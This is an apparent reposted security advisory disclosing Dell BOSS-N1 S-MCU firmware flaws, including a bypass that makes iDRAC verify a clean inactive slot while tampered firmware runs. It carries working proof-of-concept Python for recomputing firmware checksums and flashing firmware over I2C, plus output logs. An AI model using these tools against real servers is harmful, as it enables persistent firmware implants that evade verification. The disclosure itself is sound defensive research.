Dell BOSS-N1 S-MCU Firmware Integrity and Cryptographic Verification Bypass
SummaryAn attacker with access to the I2C/SMBus interface (such as from a compromised iDRAC) 2026-9-23 23:59:43 Author: github.com(查看原文) 阅读量:0 收藏

Summary

An attacker with access to the I2C/SMBus interface (such as from a compromised iDRAC) can exploit the S-MCU firmware update procedure to reprogram the controller. The S-MCU currently relies solely on checksums for verification and lacks cryptographic authentication of its own firmware. By modifying the S-MCU firmware, and recalculating the checksum an attacker can redirect SPI read requests from the iDRAC to an inactive firmware slot containing unmodified code. This allows the malicious firmware to persist in the active slot while the iDRAC incorrectly validates the clean firmware, bypassing the root-of-trust verification.

This vulnerability results in the BMC being redirected to read and verify a separate memory address than the running firmware of the BOSS storage controller. This relies on vulnerability F02 to leverage the debugging interface to obtain a clear-text version of the firmware or directly manipulating the SMCU firmware, and F03 to circumvent the checksum check on the modified firmware by the controller. We leveraged F02 and F03 to demonstrate an end-to-end exploitation of the iDRAC cryptographic verification of the BOSS controller.

Attack Vector: Physical, Compromised iDRAC (Local/I2C)
Affected Products: Dell BOSS-N1 S-MCU
Affected Versions: Any firmware version
Severity: High - 7.3 CVSS:4.0/AV:P/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Severity

High - Based on a Physical Attack Vector (AV:P), as the attacker requires access to the internal I2C bus, or requires a prior compromise of the iDRAC. The attack complexity is High (AC:H) and the Scope is Changed (S:C) because compromising the S-MCU allows for the spoofing of the cryptographic verification process, effectively undermining the security guarantees of the iDRAC root of trust.

Proof of Concept

An attacker can use the I2C S-MCU firmware update procedure to redirect the I2C to SPI read requests to an inactive slot (addressed by adding 0×800000 to every read). This causes the iDRAC to validate a previous firmware update, not the firmware in the active slot that was modified previously. 

S-MCU Patch 

A small patch allowed for the address change by optimizing the ARM instructions, setting the addresses to free up 2-bytes and using those two bytes to add 0×80 to the high byte, which redirects iDRAC. Afterward the checksum is recalculated based on these changes. As seen below: 

image

Modified to:

image

Script to recalculate the checksum:

#!/usr/bin/env python3

import argparse
import sys
from dataclasses import dataclass
from pathlib import Path


FLASH_SIZE = 0x8000
SLOT_METADATA_BASE = 0x7FC0
SLOT_STRIDE = 0x40
SLOT_COUNT = 2

CHECKSUM_OFFSET = 0x00
ENTRY_POINT_OFFSET = 0x01
START_SECTOR_OFFSET = 0x05
SIZE_OFFSET = 0x09
PAGE_CKSUM_LO_OFFSET = 0x10
PAGE_CKSUM_HI_OFFSET = 0x11


def read_u16_le(data: bytes, offset: int) -> int:
    return int.from_bytes(data[offset : offset + 2], "little")


def read_u32_le(data: bytes, offset: int) -> int:
    return int.from_bytes(data[offset : offset + 4], "little")


@dataclass
class SlotMetadata:
    slot: int
    metadata_offset: int
    checksum: int
    entry_point: int
    start_sector: int
    size: int
    page_checksum: int

    @property
    def image_start(self) -> int:
        return (self.start_sector + 1) << 7

    @property
    def image_end(self) -> int:
        return self.image_start + self.size


def parse_slot_metadata(image: bytes, slot: int) -> SlotMetadata:
    base = SLOT_METADATA_BASE - (slot * SLOT_STRIDE)
    return SlotMetadata(
        slot=slot,
        metadata_offset=base,
        checksum=image[base + CHECKSUM_OFFSET],
        entry_point=read_u32_le(image, base + ENTRY_POINT_OFFSET),
        start_sector=read_u16_le(image, base + START_SECTOR_OFFSET),
        size=read_u32_le(image, base + SIZE_OFFSET),
        page_checksum=(
            image[base + PAGE_CKSUM_LO_OFFSET]
            | (image[base + PAGE_CKSUM_HI_OFFSET] << 8)
        ),
    )


def compute_slot_checksum(image: bytes, meta: SlotMetadata) -> tuple[int, bool]:
    if meta.image_end > len(image):
        raise ValueError(
            f"slot {meta.slot}: image range 0x{meta.image_start:04x}-0x{meta.image_end:04x} "
            f"extends past dump size 0x{len(image):04x}"
        )

    region = image[meta.image_start : meta.image_end]
    checksum = (-sum(region)) & 0xFF
    has_data = any(byte not in (0x00, 0xFF) for byte in region)
    return checksum, has_data


def validate_slot(image: bytes, slot: int) -> str:
    meta = parse_slot_metadata(image, slot)
    computed_checksum, has_data = compute_slot_checksum(image, meta)
    valid = computed_checksum == meta.checksum and has_data

    lines = [
        f"slot {slot}: {'VALID' if valid else 'INVALID'}",
        f"  metadata_offset: 0x{meta.metadata_offset:04x}",
        f"  entry_point:     0x{meta.entry_point:08x}",
        f"  start_sector:    0x{meta.start_sector:04x}",
        f"  size:            0x{meta.size:08x} ({meta.size})",
        f"  image_range:     0x{meta.image_start:04x}-0x{meta.image_end:04x}",
        f"  stored_checksum: 0x{meta.checksum:02x}",
        f"  calc_checksum:   0x{computed_checksum:02x}",
        f"  has_data:        {'yes' if has_data else 'no'}",
        f"  page_checksum:   0x{meta.page_checksum:04x}",
    ]
    return "\n".join(lines)


def fixup_slot_checksum(image: bytearray, slot: int) -> tuple[SlotMetadata, int]:
    meta = parse_slot_metadata(image, slot)
    computed_checksum, _ = compute_slot_checksum(image, meta)
    image[meta.metadata_offset + CHECKSUM_OFFSET] = computed_checksum
    return meta, computed_checksum


def build_parser() -> argparse.ArgumentParser:
    parser = argparse.ArgumentParser(
        description=(
            "Validate S-MCU slot checksums in a firmware dump using the same "
            "metadata checksum scheme as the bootloader."
        )
    )
    parser.add_argument("dump", type=Path, help="Path to the firmware dump file.")
    parser.add_argument(
        "--fixup-slot",
        type=int,
        choices=range(SLOT_COUNT),
        help="Recompute and rewrite the metadata checksum byte for the specified slot.",
    )
    parser.add_argument(
        "--output",
        type=Path,
        help="Output path for a modified dump. Required with --fixup-slot unless --in-place is used.",
    )
    parser.add_argument(
        "--in-place",
        action="store_true",
        help="Rewrite the input dump in place when used with --fixup-slot.",
    )
    return parser


def main() -> int:
    args = build_parser().parse_args()
    image = bytearray(args.dump.read_bytes())

    if args.fixup_slot is not None and not args.in_place and args.output is None:
        print(
            "--output or --in-place is required when using --fixup-slot",
            file=sys.stderr,
        )
        return 1

    if args.in_place and args.output is not None:
        print("--output and --in-place are mutually exclusive", file=sys.stderr)
        return 1

    if len(image) < SLOT_METADATA_BASE + 1:
        print(
            f"Dump is too small to contain slot metadata at 0x{SLOT_METADATA_BASE:04x}",
            file=sys.stderr,
        )
        return 1

    if len(image) != FLASH_SIZE:
        print(
            f"Warning: dump size is 0x{len(image):x}, expected 0x{FLASH_SIZE:x}",
            file=sys.stderr,
        )

    try:
        if args.fixup_slot is not None:
            meta, computed_checksum = fixup_slot_checksum(image, args.fixup_slot)
            destination = args.dump if args.in_place else args.output
            destination.write_bytes(image)
            print(
                f"Updated slot {args.fixup_slot} checksum at 0x{meta.metadata_offset + CHECKSUM_OFFSET:04x} "
                f"to 0x{computed_checksum:02x}"
            )
            print(f"Wrote modified dump to {destination}")
            print()

        for slot in range(SLOT_COUNT):
            print(validate_slot(image, slot))
            if slot != SLOT_COUNT - 1:
                print()
    except ValueError as exc:
        print(str(exc), file=sys.stderr)
        return 1

    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Output of the checksum script shown below:

> ./validate_smcu_dump.py ../../Flash\ Mod/S-MCU_redirect.bin --fixup-slot 0 --in-place Updated slot 0 checksum at 0x7fc0 to 0x71 
Wrote modified dump to ../../Flash Mod/S-MCU_redirect.bin 
slot 0: VALID 
metadata_offset: 0x7fc0 
entry_point: 0x00001491 
start_sector: 0x0028 
size: 0x00001880 (6272) 
image_range: 0x1480-0x2d00 
stored_checksum: 0x71 
calc_checksum: 0x71 
has_data: yes 
page_checksum: 0x0000 

slot 1: INVALID 
metadata_offset: 0x7f80 
entry_point: 0x00000000 
start_sector: 0x0000 
size: 0x00000000 (0) 
image_range: 0x0080-0x0080 
stored_checksum: 0x00 
calc_checksum: 0x00 
has_data: no 
page_checksum: 0x0000 

I2C Update  

A short script allowed for the automation of the process of sending the recovery trigger and updating the firmware:

# Call this script from glasglow with the following command:
#   glasgow script i2c_controller -V 3.3 --scl A1 --sda A0 -f 800
#
# NOTE: Sometimes the writes fail. I just pick up again at the last 
#       succesfully programmed offset.

import ctypes
import enum
import asyncio
import argparse
import time
import traceback

import glasgow

def hexint(value: str) -> int:
    return int(value, 0)

parser = argparse.ArgumentParser(description="S-MCU bootloader flashing script")
parser.add_argument("--no-bootloader", default=False,action="store_true", help="Don't attempt to enter the bootloader, assume already in bootloader mode" )
subparsers = parser.add_subparsers(dest="command")

subparser = subparsers.add_parser("flash", help="Flash firmware to the device")
subparser.add_argument("firmware", type=argparse.FileType("rb"), help="Path to the firmware binary to flash")
subparser.add_argument("offset", type=hexint, help="Offset to flash to")
subparser.add_argument("--seek", type=hexint, help="Seek to the specified offset in the firmware file before reading (default: 0)", default=0)

subparser = subparsers.add_parser("validate", help="Validate the currently flashed firmware")
subparser = subparsers.add_parser("boot", help="Boot the device")

args = parser.parse_args(args.script_args)


BRIDGE_ADDR = 0x5b
BRIDGE_MAGIC = 0xeb

class BridgeOpcodes(enum.IntEnum):
    RECOVERY = 0x00
    IDENTIFY = 0x04

class BridgeCMD(ctypes.Structure):
    _fields_ = [
        ("cmd", ctypes.c_uint8),
        ("addr_hi", ctypes.c_uint8),
        ("addr_mid", ctypes.c_uint8),
        ("addr_lo", ctypes.c_uint8),
        ("footer", ctypes.c_uint8)
    ]
    
BL_ADDR = 0x38
BL_SOP = 0x01
BL_EOP = 0x17

class BLError(Exception):
    pass

class BLOpcodes(enum.IntEnum):
    GET_VERSION = 0x38
    
    VALIDATE_SLOT = 0x31
    WRITE_FLASH_ROW = 0x39
    
    SET_ROW_BUFFER = 0x35
    APPEND_ROW_BUFFER = 0x37
    
    BOOT = 0x3b

class BLCmdHdr(ctypes.Structure):
    _fields_ = [
        ("sop", ctypes.c_uint8),
        ("cmd", ctypes.c_uint8),
        ("payload_len", ctypes.c_uint16),
    ]
class BLCmdFooter(ctypes.Structure):
    _fields_ = [
        ("checksum", ctypes.c_uint16),
        ("eop", ctypes.c_uint8)
    ]

async def bridge_identify():
    cmd = BridgeCMD()
    cmd.cmd = BridgeOpcodes.IDENTIFY
    cmd.footer = BRIDGE_MAGIC
    
    async with i2c_iface.transaction():
        await i2c_iface.write(BRIDGE_ADDR, bytes(cmd))
        response = await i2c_iface.read(BRIDGE_ADDR, 2)
    
    return response

async def enter_bootloader():
    cmd = BridgeCMD()
    cmd.cmd = BridgeOpcodes.RECOVERY
    cmd.addr_hi = 0x38 # recovery magic trigger value
    cmd.footer = BRIDGE_MAGIC
    
    await i2c_iface.write(BRIDGE_ADDR, bytes(cmd))

async def do_bl_cmd(cmd: int | BLOpcodes, payload: bytes = b"", retry : bool=False) -> bytes:
    hdr = BLCmdHdr()
    hdr.sop = BL_SOP
    hdr.cmd = cmd
    hdr.payload_len = len(payload)
    
    pkt = bytes(hdr) + payload
    checksum = (-sum(pkt)) & 0xFFFF
    footer = BLCmdFooter()
    footer.checksum = checksum
    footer.eop = BL_EOP
    pkt += bytes(footer)
    
    if retry:
        while True:
            try:
                await i2c_iface.write(BL_ADDR, pkt)
                break
            except glasgow.applet.interface.i2c_controller.I2CNotAcknowledged as e:
                print(f"Failed to write: {e}")
                print(f"Retrying...")
                await asyncio.sleep(0.5)
    else:
        await i2c_iface.write(BL_ADDR, pkt)
            

    time.sleep(0.2)
    async with i2c_iface.transaction():
        # just fixing the return length for now... guess we could read the length
        # then the rest...
        response = await i2c_iface.read(BL_ADDR, 0x32)
    
    rsp_hdr = BLCmdHdr.from_buffer_copy(response[:ctypes.sizeof(BLCmdHdr)])
    if rsp_hdr.sop != BL_SOP:
        raise BLError("Invalid start of packet")
    if rsp_hdr.cmd != 0x00: # response packets have cmd=0
        raise BLError(f"Unexpected response cmd: {rsp_hdr.cmd}")
    if rsp_hdr.payload_len > len(response) - ctypes.sizeof(BLCmdHdr) - ctypes.sizeof(BLCmdFooter):
        raise BLError("Response payload length mismatch")
    
    payload_start = ctypes.sizeof(BLCmdHdr)
    payload_end = payload_start + rsp_hdr.payload_len
    
    rsp_data = response[payload_start : payload_end]
    rsp_footer = BLCmdFooter.from_buffer_copy(response[payload_end : payload_end + ctypes.sizeof(BLCmdFooter)])
    if rsp_footer.eop != BL_EOP:
        raise BLError("Invalid end of packet")
    expected_checksum = (-sum(response[:payload_end])) & 0xFFFF
    if rsp_footer.checksum != expected_checksum:
        raise BLError("Checksum mismatch")
    
    return rsp_data
    
async def bl_version():
    return await do_bl_cmd(BLOpcodes.GET_VERSION)

async def validate():
    return await do_bl_cmd(BLOpcodes.VALIDATE_SLOT)

async def boot():
    try:
        return await do_bl_cmd(BLOpcodes.BOOT)
    except glasgow.applet.interface.i2c_controller.I2CNotAcknowledged as e:
        print(f"Boot command sent, error is likely as the device is rebooting: {e}")

async def program_row(row_id: int, data: bytes, chunk_size: int = 0x20):
    if len(data) != 0x80:
        raise ValueError("Row data not 0x80 bytes in length")
    
    if chunk_size != 0x80:
        # we are going to chunk the row data into smaller pieces to avoid overwhelming the bootloader, which seems to have some internal buffering limits. The bootloader will reassemble the chunks into the full row before programming.
        while len(data) > 0:
            chunk = data[:chunk_size]
            await do_bl_cmd(BLOpcodes.APPEND_ROW_BUFFER, chunk, retry=True)
            data = data[chunk_size:]
        
        # finally send the command to program the row from the buffer
        payload = b"\x00" + row_id.to_bytes(2, "little")
        await do_bl_cmd(BLOpcodes.WRITE_FLASH_ROW, payload, retry=True)
    else:
        # if the chunk size is the full row size, we can just send it all in one command
        payload = b"\x00" + row_id.to_bytes(2, "little") + data
        await do_bl_cmd(BLOpcodes.WRITE_FLASH_ROW, payload, retry=True)

async def program(offset: int, data: bytes):
    row_id = offset // 0x80
    while len(data) > 0:
        row_data = data[:0x80] # max row size is 128 bytes
        if len(row_data) < 0x80:
            row_data += b"\x00" * (0x80 - len(row_data))
            
        await program_row(row_id, row_data)
        print(f"Programmed row {row_id} at offset 0x{row_id * 0x80:04x}")
        
        row_id += 1
        data = data[0x80:]

async def main():
    # first try to enter the bootloader, in case we're not already there
    try:
        rsp = await bridge_identify()
        print(f"Response: {rsp.hex()}")
        if args.no_bootloader:
            print("Skipping bootloader entry due to --no-bootloader flag")
        else:
            print("Device is responsive, attempting to enter bootloader...")
            await enter_bootloader()
            await asyncio.sleep(1.0)
    except Exception as e:
        print(f"Error: {e}")
        print("Assuming in recovery mode...")
    
    
    for i in range(1):  
        version = await bl_version()
        print(f"Bootloader version response: {version.hex()}")
        
    if args.command == "flash":
        fd = args.firmware
        fd.seek(args.seek)
        firmware_data = fd.read()
        await program(args.offset, firmware_data)
    elif args.command == "validate":
        validation_result = await validate()
        print(f"Validation result: {validation_result.hex()}")
    elif args.command == "boot":
        await boot()
        print("Boot command sent. Device should reboot now.")

try:
    await main()
except KeyboardInterrupt:
    print("Interrupted by user")
except Exception as e:
    traceback.print_exc()

On Boot - The below picture displays the iDRAC request for the firmware location address, and the initial read. The modified firmware now redirects the iDRAC to a separate area of memory that hosts the unchanged firmware for verification.
However, this is not the firmware that is running in the SoC:

image

The iDRAC logs displaying that everything has been cryptographically verified: 

image

The Marvell UART logs displaying the modified log messages:

[0000000000]MEP_ipolling() 
irq detected!!!! 
FE raid id 0x0 raid 0x0 nr_disk 0x0 status 0xf stripe_size 0x0 
Hello, ANVIL Modified Loader!!!!
T: 0,0 
2x4 !! 
single host !! 
falling edge detect 0x0 
REG 0xE1248158 value  

Further Analysis

The exploit redirects I2C → SPI read requests by modifying ARM instructions to add 0x800000 to every read address. During the boot phase, the iDRAC initiates cryptographic verification of the BOSS firmware via the S-MCU. Because of the redirection, the S-MCU provides data from a clean, inactive firmware slot, leading the iDRAC to log that the system is cryptographically verified even when modified code is running. UART logs from the Marvell processor confirm the execution of the modified loader despite successful iDRAC verification.

Recommendations

R01 Implement cryptographic signature verification for all S-MCU firmware updates.
R02 Restrict access to the S-MCU update over I2C
R03 Implement stricter checks in the iDRAC to ensure the integrity of the S-MCU.

Summary

The S-MCU SWD debugging interface is exposed via the SWD and lacks authentication or access restrictions. An attacker with access to the Serial Wire Debug (SWD) can utilize this interface to dump memory, interact with internal state, manipulate execution flow or flash a modified firmware, facilitating further exploitation of the S-MCU. This access can be gained either by direct physical access or by a root level compromise of iDRAC.

The unprotected SWD interface allows direct control over device firmware. There is a high likelihood that a physical attacker could identify and exploit this vulnerability without detection.

Attack Vector: Physical 
Affected Products: Dell BOSS-N1 S-MCU
Affected Versions: Any firmware version
Severity: Medium - 5.9: CVSS:4.0/AV:P/AC:H/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L

Severity

Medium

Recommendations

R04 Disable when not in active use or password-protect all hardware debugging interfaces (e.g., SWD, JTAG, I2C/SMBus) in production firmware.
R05 Implement logging and monitoring mechanisms for any malicious usage of the interface if they are required for operation.

Summary

The storage controller SoC does not implement proper integrity verification mechanisms for its own firmware. Consequently, the device executes any firmware loaded onto it without verifying its authenticity or integrity. The controller relies on a checksum to validate its firmware, which can be recalculated and thus is not proper verification. This allows for the persistent execution of malicious or unauthorized firmware if an attacker gains access to the firmware storage location.

Attack Vector: Physical
Affected Products: Dell BOSS-N1 S-MCU
Affected Versions: Any firmware version
Severity: High - 7.3 - CVSS:4.0/AV:P/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

This is shown where a new checksum is calculated with the script as described in F01. Demonstrating the S-MCU does not properly implement firmware integrity protections.

Severity

High

Recommendations

R06 Implement cryptographic signature verification for firmware images on the storage controller SoC.

Timeline

Date reported: May 21, 2026
Date fixed: Pending
Date disclosed: Sept 24, 2026

Acknowledgements

Credit for the work to Jacopo Ferrigno and Michael Milvich


文章来源: https://github.com/google/security-research/security/advisories/GHSA-wcfm-jp7m-rffh
如有侵权请联系:admin#unsafe.sh